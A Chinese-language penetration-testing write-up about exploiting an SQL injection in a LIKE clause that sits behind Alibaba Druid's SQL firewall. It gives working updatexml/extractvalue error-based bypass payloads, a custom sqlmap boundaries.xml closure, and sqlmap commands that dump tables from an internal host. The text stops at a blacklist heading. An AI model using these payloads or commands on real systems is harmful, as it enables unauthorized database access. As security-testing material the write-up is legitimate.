注:本文针对xm17大佬遇到的实际场景进行补充。
@test_xw(testxw)作者
问题场景
在测试中,遇到了一个sql注入,注入点出现在查询语句中,通过报错信息得知,sql语句如下:
select * from http_sequence_log t where t.pguid like ‘%${pguid}%’ andreplace(pguid,’-‘,’’)
遇到这种基本上闭合加报错一笔带过就OK了 但是呢,报错,提示sql注入,sql查询语句中包含恒为假的条件
sql injection violation, part alway false condition not allow
- 漏洞判定
通过注入点判断,确定当前确实存在sql注入漏洞
报错:guid=12’and 1-user=’
正常:guid=12’and 1-user()=’
sqlmap直接跑,发现无法识别出当前注入点。经过搜索发现是druid的sql防火墙拦截导致的。
漏洞利用
参考链接:
https://mp.weixin.qq.com/s/lGalf63VXCva2I5BpmSMgQ
在本地搭建环境后,测试出的payload可以绕过 。
12’ or updatexml(1,concat(0x7e,user(),0x7e),1) =’1
扩展
同理可以得出以下payload
'or+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
同理 &&和||也可以%26%26updatexml(1,concat(0x7e,(select+user()),0x7e),1)='1
解决sqlmap无法注入
我们发现sqlmap无法识别此注入点,主要是因为无法闭合后面的sql语句中的%’
那我们就自己添加一组闭合方式。
修改sqlmap配置文件“sqlmap\data\xml\boundaries.xml”新增或者只保留此一种闭合方式。
<?xml version="1.0" encoding="UTF-8"?>
<root> <!-- Generic boundaries --> <boundary> <level>1</level> <clause>1</clause> <where>1</where> <ptype>1</ptype> <prefix>'</prefix> <suffix>='</suffix> </boundary> </root>
直接sqlmap跑,发现可以成功盲注,但是太慢了
sqlmap.py -u “http://192.168.3.202:8080/monitorLog?guid=12“ —dbms=”mysql” -v 3
我们可以强制让sqlmap走报错注入模式,速度瞬间飞起:
sqlmap.py -u “http://192.168.3.202:8080/monitorLog?guid=12*“ —technique=E -v 3 —tables -D “apimonitor”
备注:
druid的sql防火墙对应的类路径为:com\alibaba\druid\wall\WallFilter.java
引入配置文件
黑名单展示: